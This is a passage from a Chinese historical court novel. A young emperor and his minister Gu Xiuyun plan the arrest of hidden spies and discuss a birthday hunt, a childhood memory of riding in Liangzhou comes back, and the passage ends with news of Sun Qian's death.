予瑢看着名单,眉头拧在一起。 “臣以为,应当攻其不备,即刻前往这几处府邸,秘密捉捕。”顾修昀站在太极殿内。 “就依司徒之意。”予瑢心有余悸,“太傅府的事,不能再发生第二次了。” 为避免打草惊蛇,顾修昀当日被李娘子行刺之事始终未曾让旁人知晓,故而掩藏在其他府中的细作应当尚未有所察觉,此时出其不意,应当能一网打尽。 顾修昀今日来还有一事。 “陛下生辰在即,听说祠部呈送的提案,陛下都不满意?” 予瑢神色一顿,“祠部的提案太过铺张,既非整寿,何须如此奢靡?” 他显然早有主意,顾修昀问:“那陛下是想?” 予瑢面带犹豫,斟酌片刻,“云居山西麓有片猎场,司徒觉得,若与众卿踏春行猎,太傅与司空会否觉得朕不思进取,耽于享乐?” 他才说了前半句,顾修昀便明白他的意思,思绪立马被拉回到凉州那片一望无际的原野上。 彼时予瑢尚且年幼,他专门挑了一匹温顺的小矮马,饶是如此,予瑢坐在上面仍是东倒西歪,他便牵着马,慢悠悠地跟在先帝与顾行之后面。两人不知说了些什么,齐齐朗声大笑,一夹马肚,两道身影便与鹰隼一般飞驰而出。 顾修昀在后面看得眼热,可予瑢不大会骑马,不好丢下他不管。予瑢似乎看出了顾修昀跃跃欲试,小腿悬在空中荡来荡去,面上挂着无忧无虑的稚气笑容,“阿昀,你自去玩吧,不必管我,我不害怕!” 顾修昀半点也不推拒,一个翻身跨上自己的大宛马,狠狠甩鞭,人都跑出去十丈了,声音还远远地传回来。 “你当心些,别摔了,不然阿父该揍我了!” 忆及往事,予瑢面上露出笑意。 离开凉州后,不论是他还是顾修昀,都再也没有过那般恣意的日子了。继位那年他只有十三岁,还未能从丧父之痛中抽离,便懵懵懂懂地坐上金銮。 江左之人重文轻武,建邺城中的士族个个手持麈尾、褒衣博带,开口老庄,闭口佛法,对边关归来之人唯恐避之不及,仿佛稍一靠近,便会被他们衣襟上沾染的风沙惹得鼻痒,被银甲带来的腥膻之气熏得刺目。 “陛下是君,虽不可闭目塞听,却也不必事事顾虑臣下之见。”顾修昀亦明白予瑢的担忧。 士族傲慢,但也该让他们知道,谁是君,谁是臣。 * 黑云低沉,骤雨顷刻而至,顾修昀自殿内出来,岳陆正撑着伞候在门口。 “今春雨水不少。”雨滴砸在油纸伞上,密集成片,险些盖过岳陆的声音。 顾修昀拾阶而下,却见御道前方有一道身影冒着雨疾步奔来,每一步都重重踩在水中,听得人莫名心惊。顾修昀示意岳陆将伞微微抬起,人影在细密雨幕中看不真切,跑到近前,才看清是个小内侍。 他连伞都没打,一手挡在额上,却没什么作用,让雨浇的眼都睁不开,面带焦急,见了顾修昀忙要行礼。 顾修昀拦下他,一把将人拽进伞下,“出什么事了?” “廷尉急奏,孙迁死了!”